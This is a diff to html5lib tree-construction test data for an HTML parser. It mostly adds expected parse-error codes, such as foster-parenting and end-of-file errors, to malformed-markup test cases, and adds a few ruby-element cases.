+(1,43): unexpected-table-element-start-tag-in-select-in-table
+(1,43): XXX-undefined-error
+(1,43): eof-in-table
#document
| <!DOCTYPE html>
| <html>
@@ -72,6 +85,8 @@
#data
<!doctype html><select><tr>
#errors
+(1,27): unexpected-start-tag-in-select
+(1,27): eof-in-select
#document
| <!DOCTYPE html>
| <html>
@@ -82,6 +97,8 @@
#data
<!doctype html><select><td>
#errors
+(1,27): unexpected-start-tag-in-select
+(1,27): eof-in-select
#document
| <!DOCTYPE html>
| <html>
@@ -92,6 +109,8 @@
#data
<!doctype html><select><th>
#errors
+(1,27): unexpected-start-tag-in-select
+(1,27): eof-in-select
#document
| <!DOCTYPE html>
| <html>
@@ -102,6 +121,8 @@
#data
<!doctype html><select><tbody>
#errors
+(1,30): unexpected-start-tag-in-select
+(1,30): eof-in-select
#document
| <!DOCTYPE html>
| <html>
@@ -112,6 +133,8 @@
#data
<!doctype html><select><thead>
#errors
+(1,30): unexpected-start-tag-in-select
+(1,30): eof-in-select
#document
| <!DOCTYPE html>
| <html>
@@ -122,6 +145,8 @@
#data
<!doctype html><select><tfoot>
#errors
+(1,30): unexpected-start-tag-in-select
+(1,30): eof-in-select
#document
| <!DOCTYPE html>
| <html>
@@ -132,6 +157,8 @@
#data
<!doctype html><select><caption>
#errors
+(1,32): unexpected-start-tag-in-select
+(1,32): eof-in-select
#document
| <!DOCTYPE html>
| <html>
diff --git a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests18.dat b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests18.dat
index 680e1f068..926bccb38 100644
--- a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests18.dat
+++ b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests18.dat
@@ -1,6 +1,7 @@
#data
<!doctype html><plaintext></plaintext>
#errors
+(1,38): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -12,6 +13,20 @@
#data
<!doctype html><table><plaintext></plaintext>
#errors
+(1,33): foster-parenting-start-tag
+(1,34): foster-parenting-character
+(1,35): foster-parenting-character
+(1,36): foster-parenting-character
+(1,37): foster-parenting-character
+(1,38): foster-parenting-character
+(1,39): foster-parenting-character
+(1,40): foster-parenting-character
+(1,41): foster-parenting-character
+(1,42): foster-parenting-character
+(1,43): foster-parenting-character
+(1,44): foster-parenting-character
+(1,45): foster-parenting-character
+(1,45): eof-in-table
#document
| <!DOCTYPE html>
| <html>
@@ -24,6 +39,20 @@
#data
<!doctype html><table><tbody><plaintext></plaintext>
#errors
+(1,40): foster-parenting-start-tag
+(1,41): foster-parenting-character
+(1,41): foster-parenting-character
+(1,41): foster-parenting-character
+(1,41): foster-parenting-character
+(1,41): foster-parenting-character
+(1,41): foster-parenting-character
+(1,41): foster-parenting-character
+(1,41): foster-parenting-character
+(1,41): foster-parenting-character
+(1,41): foster-parenting-character
+(1,41): foster-parenting-character
+(1,41): foster-parenting-character
+(1,52): eof-in-table
#document
| <!DOCTYPE html>
| <html>
@@ -37,20 +66,20 @@
#data
<!doctype html><table><tbody><tr><plaintext></plaintext>
#errors
-#document
-| <!DOCTYPE html>
-| <html>
-| <head>
-| <body>
-| <plaintext>
-| "</plaintext>"
-| <table>
-| <tbody>
-| <tr>
-
-#data
-<!doctype html><table><tbody><tr><plaintext></plaintext>
-#errors
+(1,44): foster-parenting-start-tag
+(1,45): foster-parenting-character
+(1,46): foster-parenting-character
+(1,47): foster-parenting-character
+(1,48): foster-parenting-character
+(1,49): foster-parenting-character
+(1,50): foster-parenting-character
+(1,51): foster-parenting-character
+(1,52): foster-parenting-character
+(1,53): foster-parenting-character
+(1,54): foster-parenting-character
+(1,55): foster-parenting-character
+(1,56): foster-parenting-character
+(1,56): eof-in-table
#document
| <!DOCTYPE html>
| <html>
@@ -65,6 +94,8 @@
#data
<!doctype html><table><td><plaintext></plaintext>
#errors
+(1,26): unexpected-cell-in-table-body
+(1,49): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -80,6 +111,7 @@
#data
<!doctype html><table><caption><plaintext></plaintext>
#errors
+(1,54): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -93,6 +125,10 @@
#data
<!doctype html><table><tr><style></script></style>abc
#errors
+(1,51): foster-parenting-character
+(1,52): foster-parenting-character
+(1,53): foster-parenting-character
+(1,53): eof-in-table
#document
| <!DOCTYPE html>
| <html>
@@ -108,6 +144,10 @@
#data
<!doctype html><table><tr><script></style></script>abc
#errors
+(1,52): foster-parenting-character
+(1,53): foster-parenting-character
+(1,54): foster-parenting-character
+(1,54): eof-in-table
#document
| <!DOCTYPE html>
| <html>
@@ -123,6 +163,7 @@
#data
<!doctype html><table><caption><style></script></style>abc
#errors
+(1,58): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -137,6 +178,8 @@
#data
<!doctype html><table><td><style></script></style>abc
#errors
+(1,26): unexpected-cell-in-table-body
+(1,53): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -153,6 +196,7 @@
#data
<!doctype html><select><script></style></script>abc
#errors
+(1,51): eof-in-select
#document
| <!DOCTYPE html>
| <html>
@@ -166,6 +210,8 @@
#data
<!doctype html><table><select><script></style></script>abc
#errors
+(1,30): unexpected-start-tag-implies-table-voodoo
+(1,58): eof-in-select
#document
| <!DOCTYPE html>
| <html>
@@ -180,6 +226,8 @@
#data
<!doctype html><table><tr><select><script></style></script>abc
#errors
+(1,34): unexpected-start-tag-implies-table-voodoo
+(1,62): eof-in-select
#document
| <!DOCTYPE html>
| <html>
@@ -196,6 +244,7 @@
#data
<!doctype html><frameset></frameset><noframes>abc
#errors
+(1,49): expected-named-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -219,6 +268,7 @@
#data
<!doctype html><frameset></frameset></html><noframes>abc
#errors
+(1,56): expected-named-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -242,6 +292,7 @@
#data
<!doctype html><table><tr></tbody><tfoot>
#errors
+(1,41): eof-in-table
#document
| <!DOCTYPE html>
| <html>
@@ -255,6 +306,8 @@
#data
<!doctype html><table><td><svg></svg>abc<td>
#errors
+(1,26): unexpected-cell-in-table-body
+(1,44): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
diff --git a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests19.dat b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests19.dat
index 8835174d8..cd1be6ed8 100644
--- a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests19.dat
+++ b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests19.dat
@@ -1,6 +1,7 @@
#data
<!doctype html><math><mn DefinitionUrl="foo">
#errors
+(1,45): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -13,6 +14,7 @@
#data
<!doctype html><html></p><!--foo-->
#errors
+(1,25): end-tag-after-implied-root
#document
| <!DOCTYPE html>
| <html>
@@ -23,6 +25,7 @@
#data
<!doctype html><head></head></p><!--foo-->
#errors
+(1,32): unexpected-end-tag
#document
| <!DOCTYPE html>
| <html>
@@ -33,6 +36,7 @@
#data
<!doctype html><body><p><pre>
#errors
+(1,29): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -44,6 +48,7 @@
#data
<!doctype html><body><p><listing>
#errors
+(1,33): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -55,6 +60,7 @@
#data
<!doctype html><p><plaintext>
#errors
+(1,29): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -66,6 +72,7 @@
#data
<!doctype html><p><h1>
#errors
+(1,22): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -77,6 +84,8 @@
#data
<!doctype html><form><isindex>
#errors
+(1,30): deprecated-tag
+(1,30): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -87,6 +96,7 @@
#data
<!doctype html><isindex action="POST">
#errors
+(1,38): deprecated-tag
#document
| <!DOCTYPE html>
| <html>
@@ -104,6 +114,7 @@
#data
<!doctype html><isindex prompt="this is isindex">
#errors
+(1,49): deprecated-tag
#document
| <!DOCTYPE html>
| <html>
@@ -120,6 +131,7 @@
#data
<!doctype html><isindex type="hidden">
#errors
+(1,38): deprecated-tag
#document
| <!DOCTYPE html>
| <html>
@@ -137,6 +149,7 @@
#data
<!doctype html><isindex name="foo">
#errors
+(1,35): deprecated-tag
#document
| <!DOCTYPE html>
| <html>
@@ -153,6 +166,7 @@
#data
<!doctype html><ruby><p><rp>
#errors
+(1,28): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -165,6 +179,8 @@
#data
<!doctype html><ruby><div><span><rp>
#errors
+(1,36): XXX-undefined-error
+(1,36): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -178,6 +194,8 @@
#data
<!doctype html><ruby><div><p><rp>
#errors
+(1,33): XXX-undefined-error
+(1,33): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -191,6 +209,7 @@
#data
<!doctype html><ruby><p><rt>
#errors
+(1,28): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -203,6 +222,8 @@
#data
<!doctype html><ruby><div><span><rt>
#errors
+(1,36): XXX-undefined-error
+(1,36): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -216,6 +237,8 @@
#data
<!doctype html><ruby><div><p><rt>
#errors
+(1,33): XXX-undefined-error
+(1,33): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -227,8 +250,68 @@
| <rt>
#data
+<html><ruby>a<rb>b<rt></ruby></html>
+#errors
+(1,6): expected-doctype-but-got-start-tag
+#document
+| <html>
+| <head>
+| <body>
+| <ruby>
+| "a"
+| <rb>
+| "b"
+| <rt>
+
+#data
+<html><ruby>a<rp>b<rt></ruby></html>
+#errors
+(1,6): expected-doctype-but-got-start-tag
+#document
+| <html>
+| <head>
+| <body>
+| <ruby>
+| "a"
+| <rp>
+| "b"
+| <rt>
+
+#data
+<html><ruby>a<rt>b<rt></ruby></html>
+#errors
+(1,6): expected-doctype-but-got-start-tag
+#document
+| <html>
+| <head>
+| <body>
+| <ruby>
+| "a"
+| <rt>
+| "b"
+| <rt>
+
+#data
+<html><ruby>a<rtc>b<rt>c<rb>d</ruby></html>
+#errors
+(1,6): expected-doctype-but-got-start-tag
+#document
+| <html>
+| <head>
+| <body>
+| <ruby>
+| "a"
+| <rtc>
+| "b"
+| <rt>
+| "c"
+| <rb>
+| "d"
+
+#data
<!doctype html><math/><foo>
#errors
+(1,27): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -240,6 +323,7 @@
#data
<!doctype html><svg/><foo>
#errors
+(1,26): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -251,6 +335,7 @@
#data
<!doctype html><div></body><!--foo-->
#errors
+(1,27): expected-one-end-tag-but-got-another
#document
| <!DOCTYPE html>
| <html>
@@ -262,6 +347,8 @@
#data
<!doctype html><h1><div><h3><span></h1>foo
#errors
+(1,39): end-tag-too-early
+(1,42): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -276,6 +363,7 @@
#data
<!doctype html><p></h3>foo
#errors
+(1,23): end-tag-too-early
#document
| <!DOCTYPE html>
| <html>
@@ -287,6 +375,7 @@
#data
<!doctype html><h3><li>abc</h2>foo
#errors
+(1,31): end-tag-too-early
#document
| <!DOCTYPE html>
| <html>
@@ -300,6 +389,10 @@
#data
<!doctype html><table>abc<!--foo-->
#errors
+(1,23): foster-parenting-character
+(1,24): foster-parenting-character
+(1,25): foster-parenting-character
+(1,35): eof-in-table
#document
| <!DOCTYPE html>
| <html>
@@ -312,6 +405,7 @@
#data
<!doctype html><table> <!--foo-->
#errors
+(1,34): eof-in-table
#document
| <!DOCTYPE html>
| <html>
@@ -324,6 +418,10 @@
#data
<!doctype html><table> b <!--foo-->
#errors
+(1,23): foster-parenting-character
+(1,24): foster-parenting-character
+(1,25): foster-parenting-character
+(1,35): eof-in-table
#document
| <!DOCTYPE html>
| <html>
@@ -336,6 +434,7 @@
#data
<!doctype html><select><option><option>
#errors
+(1,39): eof-in-select
#document
| <!DOCTYPE html>
| <html>
@@ -348,6 +447,8 @@
#data
<!doctype html><select><option></optgroup>
#errors
+(1,42): unexpected-end-tag-in-select
+(1,42): eof-in-select
#document
| <!DOCTYPE html>
| <html>
@@ -359,6 +460,8 @@
#data
<!doctype html><select><option></optgroup>
#errors
+(1,42): unexpected-end-tag-in-select
+(1,42): eof-in-select
#document
| <!DOCTYPE html>
| <html>
@@ -382,6 +485,7 @@
#data
<!doctype html><p><math><mi><p><h1>
#errors
+(1,35): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -396,6 +500,7 @@
#data
<!doctype html><p><math><mo><p><h1>
#errors
+(1,35): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -410,6 +515,7 @@
#data
<!doctype html><p><math><mn><p><h1>
#errors
+(1,35): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -424,6 +530,7 @@
#data
<!doctype html><p><math><ms><p><h1>
#errors
+(1,35): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -438,6 +545,7 @@
#data
<!doctype html><p><math><mtext><p><h1>
#errors
+(1,38): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -452,6 +560,8 @@
#data
<!doctype html><frameset></noframes>
#errors
+(1,36): unexpected-end-tag-in-frameset
+(1,36): eof-in-frameset
#document
| <!DOCTYPE html>
| <html>
@@ -461,6 +571,7 @@
#data
<!doctype html><html c=d><body></html><html a=b>
#errors
+(1,48): non-html-root
#document
| <!DOCTYPE html>
| <html>
@@ -472,6 +583,7 @@
#data
<!doctype html><html c=d><frameset></frameset></html><html a=b>
#errors
+(1,63): non-html-root
#document
| <!DOCTYPE html>
| <html>
@@ -503,6 +615,9 @@
#data
<!doctype html><html><frameset></frameset></html>abc
#errors
+(1,50): expected-eof-but-got-char
+(1,51): expected-eof-but-got-char
+(1,52): expected-eof-but-got-char
#document
| <!DOCTYPE html>
| <html>
@@ -512,6 +627,7 @@
#data
<!doctype html><html><frameset></frameset></html><p>
#errors
+(1,52): expected-eof-but-got-start-tag
#document
| <!DOCTYPE html>
| <html>
@@ -521,6 +637,7 @@
#data
<!doctype html><html><frameset></frameset></html></p>
#errors
+(1,53): expected-eof-but-got-end-tag
#document
| <!DOCTYPE html>
| <html>
@@ -530,6 +647,8 @@
#data
<html><frameset></frameset></html><!doctype html>
#errors
+(1,6): expected-doctype-but-got-start-tag
+(1,49): unexpected-doctype
#document
| <html>
| <head>
@@ -538,6 +657,7 @@
#data
<!doctype html><body><frameset>
#errors
+(1,31): unexpected-start-tag
#document
| <!DOCTYPE html>
| <html>
@@ -547,6 +667,8 @@
#data
<!doctype html><p><frameset><frame>
#errors
+(1,28): unexpected-start-tag
+(1,35): eof-in-frameset
#document
| <!DOCTYPE html>
| <html>
@@ -557,6 +679,7 @@
#data
<!doctype html><p>a<frameset>
#errors
+(1,29): unexpected-start-tag
#document
| <!DOCTYPE html>
| <html>
@@ -568,6 +691,8 @@
#data
<!doctype html><p> <frameset><frame>
#errors
+(1,29): unexpected-start-tag
+(1,36): eof-in-frameset
#document
| <!DOCTYPE html>
| <html>
@@ -578,6 +703,8 @@
#data
<!doctype html><pre><frameset>
#errors
+(1,30): unexpected-start-tag
+(1,30): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -588,6 +715,8 @@
#data
<!doctype html><listing><frameset>
#errors
+(1,34): unexpected-start-tag
+(1,34): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -598,6 +727,7 @@
#data
<!doctype html><li><frameset>
#errors
+(1,29): unexpected-start-tag
#document
| <!DOCTYPE html>
| <html>
@@ -608,6 +738,7 @@
#data
<!doctype html><dd><frameset>
#errors
+(1,29): unexpected-start-tag
#document
| <!DOCTYPE html>
| <html>
@@ -618,6 +749,7 @@
#data
<!doctype html><dt><frameset>
#errors
+(1,29): unexpected-start-tag
#document
| <!DOCTYPE html>
| <html>
@@ -628,6 +760,8 @@
#data
<!doctype html><button><frameset>
#errors
+(1,33): unexpected-start-tag
+(1,33): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -638,6 +772,8 @@
#data
<!doctype html><applet><frameset>
#errors
+(1,33): unexpected-start-tag
+(1,33): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -648,6 +784,8 @@
#data
<!doctype html><marquee><frameset>
#errors
+(1,34): unexpected-start-tag
+(1,34): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -658,6 +796,8 @@
#data
<!doctype html><object><frameset>
#errors
+(1,33): unexpected-start-tag
+(1,33): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -668,6 +808,9 @@
#data
<!doctype html><table><frameset>
#errors
+(1,32): unexpected-start-tag-implies-table-voodoo
+(1,32): unexpected-start-tag
+(1,32): eof-in-table
#document
| <!DOCTYPE html>
| <html>
@@ -678,6 +821,7 @@
#data
<!doctype html><area><frameset>
#errors
+(1,31): unexpected-start-tag
#document
| <!DOCTYPE html>
| <html>
@@ -688,6 +832,7 @@
#data
<!doctype html><basefont><frameset>
#errors
+(1,35): eof-in-frameset
#document
| <!DOCTYPE html>
| <html>
@@ -698,6 +843,7 @@
#data
<!doctype html><bgsound><frameset>
#errors
+(1,34): eof-in-frameset
#document
| <!DOCTYPE html>
| <html>
@@ -708,6 +854,7 @@
#data
<!doctype html><br><frameset>
#errors
+(1,29): unexpected-start-tag
#document
| <!DOCTYPE html>
| <html>
@@ -718,6 +865,7 @@
#data
<!doctype html><embed><frameset>
#errors
+(1,32): unexpected-start-tag
#document
| <!DOCTYPE html>
| <html>
@@ -728,6 +876,7 @@
#data
<!doctype html><img><frameset>
#errors
+(1,30): unexpected-start-tag
#document
| <!DOCTYPE html>
| <html>
@@ -738,6 +887,7 @@
#data
<!doctype html><input><frameset>
#errors
+(1,32): unexpected-start-tag
#document
| <!DOCTYPE html>
| <html>
@@ -748,6 +898,7 @@
#data
<!doctype html><keygen><frameset>
#errors
+(1,33): unexpected-start-tag
#document
| <!DOCTYPE html>
| <html>
@@ -758,6 +909,7 @@
#data
<!doctype html><wbr><frameset>
#errors
+(1,30): unexpected-start-tag
#document
| <!DOCTYPE html>
| <html>
@@ -768,6 +920,7 @@
#data
<!doctype html><hr><frameset>
#errors
+(1,29): unexpected-start-tag
#document
| <!DOCTYPE html>
| <html>
@@ -778,6 +931,7 @@
#data
<!doctype html><textarea></textarea><frameset>
#errors
+(1,46): unexpected-start-tag
#document
| <!DOCTYPE html>
| <html>
@@ -788,6 +942,7 @@
#data
<!doctype html><xmp></xmp><frameset>
#errors
+(1,36): unexpected-start-tag
#document
| <!DOCTYPE html>
| <html>
@@ -798,6 +953,7 @@
#data
<!doctype html><iframe></iframe><frameset>
#errors
+(1,42): unexpected-start-tag
#document
| <!DOCTYPE html>
| <html>
@@ -808,6 +964,7 @@
#data
<!doctype html><select></select><frameset>
#errors
+(1,42): unexpected-start-tag
#document
| <!DOCTYPE html>
| <html>
@@ -818,6 +975,8 @@
#data
<!doctype html><svg></svg><frameset><frame>
#errors
+(1,36): unexpected-start-tag
+(1,43): eof-in-frameset
#document
| <!DOCTYPE html>
| <html>
@@ -828,6 +987,8 @@
#data
<!doctype html><math></math><frameset><frame>
#errors
+(1,38): unexpected-start-tag
+(1,45): eof-in-frameset
#document
| <!DOCTYPE html>
| <html>
@@ -838,6 +999,8 @@
#data
<!doctype html><svg><foreignObject><div> <frameset><frame>
#errors
+(1,51): unexpected-start-tag
+(1,58): eof-in-frameset
#document
| <!DOCTYPE html>
| <html>
@@ -848,6 +1011,8 @@
#data
<!doctype html><svg>a</svg><frameset><frame>
#errors
+(1,37): unexpected-start-tag
+(1,44): unexpected-start-tag-ignored
#document
| <!DOCTYPE html>
| <html>
@@ -859,6 +1024,8 @@
#data
<!doctype html><svg> </svg><frameset><frame>
#errors
+(1,37): unexpected-start-tag
+(1,44): eof-in-frameset
#document
| <!DOCTYPE html>
| <html>
@@ -869,6 +1036,9 @@
#data
<html>aaa<frameset></frameset>
#errors
+(1,6): expected-doctype-but-got-start-tag
+(1,19): unexpected-start-tag
+(1,30): unexpected-end-tag
#document
| <html>
| <head>
@@ -878,6 +1048,9 @@
#data
<html> a <frameset></frameset>
#errors
+(1,6): expected-doctype-but-got-start-tag
+(1,19): unexpected-start-tag
+(1,30): unexpected-end-tag
#document
| <html>
| <head>
@@ -887,6 +1060,8 @@
#data
<!doctype html><div><frameset>
#errors
+(1,30): unexpected-start-tag
+(1,30): eof-in-frameset
#document
| <!DOCTYPE html>
| <html>
@@ -896,6 +1071,9 @@
#data
<!doctype html><div><body><frameset>
#errors
+(1,26): unexpected-start-tag
+(1,36): unexpected-start-tag
+(1,36): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -906,6 +1084,8 @@
#data
<!doctype html><p><math></p>a
#errors
+(1,28): unexpected-end-tag
+(1,28): unexpected-end-tag
#document
| <!DOCTYPE html>
| <html>
@@ -918,6 +1098,8 @@
#data
<!doctype html><p><math><mn><span></p>a
#errors
+(1,38): unexpected-end-tag
+(1,39): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -933,6 +1115,9 @@
#data
<!doctype html><math></html>
#errors
+(1,28): unexpected-end-tag
+(1,28): expected-one-end-tag-but-got-another
+(1,28): unexpected-end-tag
#document
| <!DOCTYPE html>
| <html>
@@ -978,6 +1163,7 @@
#data
<!doctype html><html a=b><head></head><html c=d>
#errors
+(1,48): non-html-root
#document
| <!DOCTYPE html>
| <html>
@@ -989,6 +1175,7 @@
#data
<!doctype html><image/>
#errors
+(1,23): image-start-tag
#document
| <!DOCTYPE html>
| <html>
@@ -999,6 +1186,15 @@
#data
<!doctype html>a<i>b<table>c<b>d</i>e</b>f
#errors
+(1,28): foster-parenting-character
+(1,31): foster-parenting-start-tag
+(1,32): foster-parenting-character
+(1,36): foster-parenting-end-tag
+(1,36): adoption-agency-1.3
+(1,37): foster-parenting-character
+(1,41): foster-parenting-end-tag
+(1,42): foster-parenting-character
+(1,42): eof-in-table
#document
| <!DOCTYPE html>
| <html>
@@ -1015,6 +1211,23 @@
#data
<!doctype html><table><i>a<b>b<div>c<a>d</i>e</b>f
#errors
+(1,25): foster-parenting-start-tag
+(1,26): foster-parenting-character
+(1,29): foster-parenting-start-tag
+(1,30): foster-parenting-character
+(1,35): foster-parenting-start-tag
+(1,36): foster-parenting-character
+(1,39): foster-parenting-start-tag
+(1,40): foster-parenting-character
+(1,44): foster-parenting-end-tag
+(1,44): adoption-agency-1.3
+(1,44): adoption-agency-1.3
+(1,45): foster-parenting-character
+(1,49): foster-parenting-end-tag
+(1,49): adoption-agency-1.3
+(1,49): adoption-agency-1.3
+(1,50): foster-parenting-character
+(1,50): eof-in-table
#document
| <!DOCTYPE html>
| <html>
@@ -1040,6 +1253,11 @@
#data
<!doctype html><i>a<b>b<div>c<a>d</i>e</b>f
#errors
+(1,37): adoption-agency-1.3
+(1,37): adoption-agency-1.3
+(1,42): adoption-agency-1.3
+(1,42): adoption-agency-1.3
+(1,43): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -1064,6 +1282,15 @@
#data
<!doctype html><table><i>a<b>b<div>c</i>
#errors
+(1,25): foster-parenting-start-tag
+(1,26): foster-parenting-character
+(1,29): foster-parenting-start-tag
+(1,30): foster-parenting-character
+(1,35): foster-parenting-start-tag
+(1,36): foster-parenting-character
+(1,40): foster-parenting-end-tag
+(1,40): adoption-agency-1.3
+(1,40): eof-in-table
#document
| <!DOCTYPE html>
| <html>
@@ -1082,6 +1309,22 @@
#data
<!doctype html><table><i>a<b>b<div>c<a>d</i>e</b>f
#errors
+(1,25): foster-parenting-start-tag
+(1,26): foster-parenting-character
+(1,29): foster-parenting-start-tag
+(1,30): foster-parenting-character
+(1,35): foster-parenting-start-tag
+(1,36): foster-parenting-character
+(1,39): foster-parenting-start-tag
+(1,40): foster-parenting-character
+(1,44): foster-parenting-end-tag
+(1,44): adoption-agency-1.3
+(1,44): adoption-agency-1.3
+(1,45): foster-parenting-character
+(1,49): foster-parenting-end-tag
+(1,44): adoption-agency-1.3
+(1,44): adoption-agency-1.3
+(1,50): eof-in-table
#document
| <!DOCTYPE html>
| <html>
@@ -1107,6 +1350,17 @@
#data
<!doctype html><table><i>a<div>b<tr>c<b>d</i>e
#errors
+(1,25): foster-parenting-start-tag
+(1,26): foster-parenting-character
+(1,31): foster-parenting-start-tag
+(1,32): foster-parenting-character
+(1,37): foster-parenting-character
+(1,40): foster-parenting-start-tag
+(1,41): foster-parenting-character
+(1,45): foster-parenting-end-tag
+(1,45): adoption-agency-1.3
+(1,46): foster-parenting-character
+(1,46): eof-in-table
#document
| <!DOCTYPE html>
| <html>
@@ -1129,6 +1383,18 @@
#data
<!doctype html><table><td><table><i>a<div>b<b>c</i>d
#errors
+(1,26): unexpected-cell-in-table-body
+(1,36): foster-parenting-start-tag
+(1,37): foster-parenting-character
+(1,42): foster-parenting-start-tag
+(1,43): foster-parenting-character
+(1,46): foster-parenting-start-tag
+(1,47): foster-parenting-character
+(1,51): foster-parenting-end-tag
+(1,51): adoption-agency-1.3
+(1,51): adoption-agency-1.3
+(1,52): foster-parenting-character
+(1,52): eof-in-table
#document
| <!DOCTYPE html>
| <html>
@@ -1172,6 +1438,7 @@
#data
<!doctype html><a><b></a><basefont>
#errors
+(1,25): adoption-agency-1.3
#document
| <!DOCTYPE html>
| <html>
@@ -1184,6 +1451,7 @@
#data
<!doctype html><a><b></a><bgsound>
#errors
+(1,25): adoption-agency-1.3
#document
| <!DOCTYPE html>
| <html>
@@ -1196,6 +1464,7 @@
#data
<!doctype html><figcaption><article></figcaption>a
#errors
+(1,49): end-tag-too-early
#document
| <!DOCTYPE html>
| <html>
@@ -1208,6 +1477,7 @@
#data
<!doctype html><summary><article></summary>a
#errors
+(1,43): end-tag-too-early
#document
| <!DOCTYPE html>
| <html>
@@ -1220,6 +1490,8 @@
#data
<!doctype html><p><a><plaintext>b
#errors
+(1,32): unexpected-end-tag
+(1,33): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -1234,6 +1506,8 @@
#data
<!DOCTYPE html><div>a<a></div>b<p>c</p>d
#errors
+(1,30): end-tag-too-early
+(1,40): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
diff --git a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests2.dat b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests2.dat
index 60d859221..0ad77086b 100644
--- a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests2.dat
+++ b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests2.dat
@@ -11,8 +11,8 @@
#data
<textarea>test</div>test
#errors
-Line: 1 Col: 10 Unexpected start tag (textarea). Expected DOCTYPE.
-Line: 1 Col: 24 Expected closing tag. Unexpected end of file.
+(1,10): expected-doctype-but-got-start-tag
+(1,24): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -23,9 +23,9 @@ Line: 1 Col: 24 Expected closing tag. Unexpected end of file.
#data
<table><td>
#errors
-Line: 1 Col: 7 Unexpected start tag (table). Expected DOCTYPE.
-Line: 1 Col: 11 Unexpected table cell start tag (td) in the table body phase.
-Line: 1 Col: 11 Expected closing tag. Unexpected end of file.
+(1,7): expected-doctype-but-got-start-tag
+(1,11): unexpected-cell-in-table-body
+(1,11): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -38,8 +38,8 @@ Line: 1 Col: 11 Expected closing tag. Unexpected end of file.
#data
<table><td>test</tbody></table>
#errors
-Line: 1 Col: 7 Unexpected start tag (table). Expected DOCTYPE.
-Line: 1 Col: 11 Unexpected table cell start tag (td) in the table body phase.
+(1,7): expected-doctype-but-got-start-tag
+(1,11): unexpected-cell-in-table-body
#document
| <html>
| <head>
@@ -53,8 +53,8 @@ Line: 1 Col: 11 Unexpected table cell start tag (td) in the table body phase.
#data
<frame>test
#errors
-Line: 1 Col: 7 Unexpected start tag (frame). Expected DOCTYPE.
-Line: 1 Col: 7 Unexpected start tag frame. Ignored.
+(1,7): expected-doctype-but-got-start-tag
+(1,7): unexpected-start-tag-ignored
#document
| <html>
| <head>
@@ -64,8 +64,11 @@ Line: 1 Col: 7 Unexpected start tag frame. Ignored.
#data
<!DOCTYPE html><frameset>test
#errors
-Line: 1 Col: 29 Unepxected characters in the frameset phase. Characters ignored.
-Line: 1 Col: 29 Expected closing tag. Unexpected end of file.
+(1,29): unexpected-char-in-frameset
+(1,29): unexpected-char-in-frameset
+(1,29): unexpected-char-in-frameset
+(1,29): unexpected-char-in-frameset
+(1,29): eof-in-frameset
#document
| <!DOCTYPE html>
| <html>
@@ -75,8 +78,8 @@ Line: 1 Col: 29 Expected closing tag. Unexpected end of file.
#data
<!DOCTYPE html><frameset><!DOCTYPE html>
#errors
-Line: 1 Col: 40 Unexpected DOCTYPE. Ignored.
-Line: 1 Col: 40 Expected closing tag. Unexpected end of file.
+(1,40): unexpected-doctype
+(1,40): eof-in-frameset
#document
